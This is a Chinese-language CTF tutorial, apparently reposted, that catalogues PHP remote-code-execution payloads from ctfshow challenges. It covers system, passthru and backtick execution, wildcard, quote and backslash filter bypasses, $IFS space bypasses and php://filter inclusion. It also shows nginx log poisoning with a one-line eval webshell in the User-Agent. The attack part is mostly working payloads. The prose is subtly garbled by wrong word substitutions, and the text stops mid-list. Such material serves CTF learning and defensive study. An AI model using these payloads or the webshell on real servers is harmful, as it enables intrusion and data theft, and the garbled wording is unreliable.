媒介
RCE(Remote Code Execution,长途代码执行)漏洞是指攻击者通过漏洞,能够在目标体系上长途执行任意代码的安全漏洞。这种漏洞通常答应攻击者在受害主机上执行恶意命令,可能导致体系被完全控制,乃至可能被用来执行体系级操作,如删除文件、偷取敏感数据、安装恶意软件等。
本文基于ctfshow命令执行部分,整理了RCE常见函数与命令。文章很长,建议共同右下角目录食用。
一. 命令执行函数
以下函数都应当在eval中执行- error_reporting(0);
- if(isset($_GET['c'])){
- $c = $_GET['c'];
- eval($c);
- }else{
- highlight_file(__FILE__);
- }
复制代码 1.1 system函数命令执行
通过system函数执行操作体系的shell命令并输出结果- ?c=system("ls");
- ?c=system("tac flag.php");
复制代码 1.2 passthru函数命令执行
passthru和system函数差不多- ?c=passthru("tac flag.php");
复制代码 1.3 echo+反引号命令执行
用反引号执行shell命令,但是反引号执行完命令不会被输出,所以必要共同echo函数输出结果- ?c=echo `ls`;
- ?c=echo `tac flag.php`;
复制代码 1.4 shell_exec函数命令执行
shell_exec函数和反引号类似,只执行但不返回,必要共同echo命令- ?c=echo shell_exec("tac flag.php");
复制代码 二. 常用命令
以下命令应当在命令执行函数中执行- if(isset($_GET['c'])){
- $c=$_GET['c'];
- system($c);
- }else{
- highlight_file(__FILE__);
- }
复制代码 1.0 phpinfo()测试命令执行
phpinfo()命令被广泛应用于是否存在RCE命令执行漏洞的测试,例如查验是否成功写入了一句话木马。更加重要的是,phpinfo中disable_functions项会提供被禁用的命令,对进一步的漏洞利用具有重大帮助1.1 ls命令目录读取
1.2 cat命令文件读取
cat不会将结果数据到页面上,要看源代码- ?c=cat flag.php
- ?c=/bin/cat flag.php
复制代码 1.3 tac命令文件读取
1.4 vi命令文件读取
1.5 uniq命令文件读取
uniq函数的作用是删除文件重复行并输出剩余内容,可以用于文件读取。与cat一样,结果在源代码1.6 base64命令读取文件
base64命令可以读取flag.php并编码后输出- ?c=base64 flag.php
- ?c=/bin/base64 flag.php
复制代码 1.7 grep命令文件读取
grep用于查询文件中包罗某个特定字符串的行并输出1.8 sort命令排序输出
sort是一个排序命令,sort filename会将文件内容举行行间的排序并输出文本1.9 mv命令文件重定名
mv函数的作用是对文件举行重定名,通过修改后缀名为txt,可以直接在网页中访问txt文件1.10 cp命令文件内容复制
用cp命令将flag的内容复制到1.txt上,然后访问/1.txt文件读取,注意使用反引号举行命令执行时,还是必要使用echo- ?c=cp flag.php 1.txt
- ?c=echo `cp flag.php 1.txt`;
复制代码 三. 文件名过滤
3.1 *通配符绕过
- ?c=system("tac fl*g.php");
- ?c=system("tac fl*");
复制代码 3.2 ''空字符匹配绕过
- ?c=system("tac fla''g.php")
复制代码 空字符串的可以用于绕过某些字符过滤,fla''g.php 等价于 flag.php
3.3 \匹配绕过
- ?c=system("tac fl\ag.php")
复制代码 \ 是 转义字符,通常用于转义背面的字符,在某些情况下,fl\ag.php 可能会被表明为 flag.php,即通过插入转义字符来避免直接匹配敏感词或绕过过滤
3.4 ?占位绕过
- ?c=system("tac f???????")
复制代码 在很多操作体系的文件体系中,? 被用作通配符,代表 任何单个字符。在 Linux 中,f??????? 可以匹配任何以 f 开头并包罗 7 个任意字符的文件名
3.5 传参执行绕过
3.5.1 eval函数
eval函数执行任意php命令,这里利用get方式接受x参数,在传参中执行命令,而在这个get方式接受的参数并没有被过滤- ?c=eval($_GET[x]);&x=system("ls");
- ?c=eval($_GET[x]);&x=system("tac flag.php");
复制代码 3.5.2 include函数
这个方法实际上是结合了文件包罗漏洞,利用文件包罗读取flag- ?c=include($_GET[x]);&x=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php
复制代码 如果(和;被过滤:
%0a 是 URL 编码中表示换行符(\n)的字符。从而使得 include 语句和 $_GET[1] 的处置惩罚被分开,从而绕过过滤机制,不外include函数这里不加(也是可以的
php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。- ?c=include%0a$_GET[1]?>&1=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php
- ?c=include$_GET[1]?>&1=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php
复制代码 3.5.3 日志包罗
既然能够执行文件包罗,那么也可以包罗日志文件,日志文件中会记录你的UA头,假设我们在UA头中写入后门代码,然后我们包罗日志文件,那么就能通过后门代码读取文件,日志包罗可以参考我过去的文章。这里的日志目录必要多次尝试。用蚁剑连接http://576f2421-5308-45ef-9c2e-17454de9e09a.challenge.ctf.show/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log即可,注意要用http,浏览器上直接粘下来会由于SSL证书连不上- ?c=include$_GET[1]?>&1=../../../../var/log/nginx/access.log
- User-Agent:<?php eval($_POST['x']);?>
复制代码 3.6 变量作用域挟制攻击
- ?c=eval(array_pop(next(get_defined_vars())));
- post:
- 1=system('tac fl*');
复制代码 3.6.1 函数表明
- get_defined_vars()
获取当前作用域中全部界说的变量,返回一个数组,键是变量名,值是对应的变量值。
- next(get_defined_vars())
将指针移动到数组中的下一个元素,并返回该元素的值。在这里,指针操作的对象是由 get_defined_vars() 返回的数组。
- array_pop(...)
弹出数组的最后一个元素。这里作用在 next(get_defined_vars()) 的结果上,获取这个数组的最后一个变量值。
3.6.2 攻击流程
- 攻击者通过 POST 请求传入 1=system('tac fl*');,在服务器端该数据被存储为变量。
- array_pop(next(get_defined_vars())) 获取该变量值,即 system('tac fl*')。
- eval() 动态执行,触发 system('tac fl*'),攻击者能够获取敏感文件内容。
3.7 函数嵌套文件摆列
getcwd() 函数返回当前工作目录的路径。
scandir() 函数列出指定目录中的全部文件和目录,并返回一个包罗文件和目录名称的数组。
show_source() 函数用于显示一个 PHP 文件的源代码
通过这三个函数,拼接出了flag.php文件,并使用show_source输出。这里的[2]要多尝试,flag文件的位置不一定会在第2位- ?c=show_source(scandir(getcwd())[2]);
复制代码 3.8 函数嵌套文件读取
这个函数拼接实际上是上面的复杂版,适用于[]被过滤的情况,不能直接遍历scandir数组,只能使用指针操作来获取特定文件,由于前两个文件是.和..,因此用array_reverse函数从最后一个文件开始。由于指针操作函数的作用是返回值而非地点,因此不能嵌套使用,利用这种方式只能读取很有限的几个文件。- 读取最后一个文件
- ?c=show_source(current(array_reverse(scandir(getcwd()))));
- 读取倒数第二个元素
- ?c=show_source(next(array_reverse(scandir(getcwd()))));
复制代码 还可以用另一个函数得到目录- ?c=echo highlight_file(current(array_reverse(scandir(pos(localeconv())))));
- ?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
复制代码 四. 空格过滤
4.1 %20空格绕过
是 URL 编码的空格- ?c=system("tac%20flag.php")
复制代码 4.2 %09空格绕过
%09 是 URL 编码中的水平制表符(Tab,ASCII 码为 9),它的作用是将 tac 背面的 fla* 和前面的部分隔开,通常它不会影响命令的执行,只是空格的替换。- ?c=system("tac%09flag.php");
复制代码 4.3 $IFS$9空格绕过
$IFS 是一个特殊的环境变量,表示 Internal Field Separator(内部字段分隔符),默认情况下,$IFS 的值包罗空格、制表符和换行符。$9是命令行参数的占位符之一,会被剖析为空字符串。两者结合可以起到空格的作用- ?c=system("tac$IFS$9flag.php");
复制代码 4.4 ${IFS}绕过
- ?c=system("tac${IFS}flag.php")
复制代码 4.5 |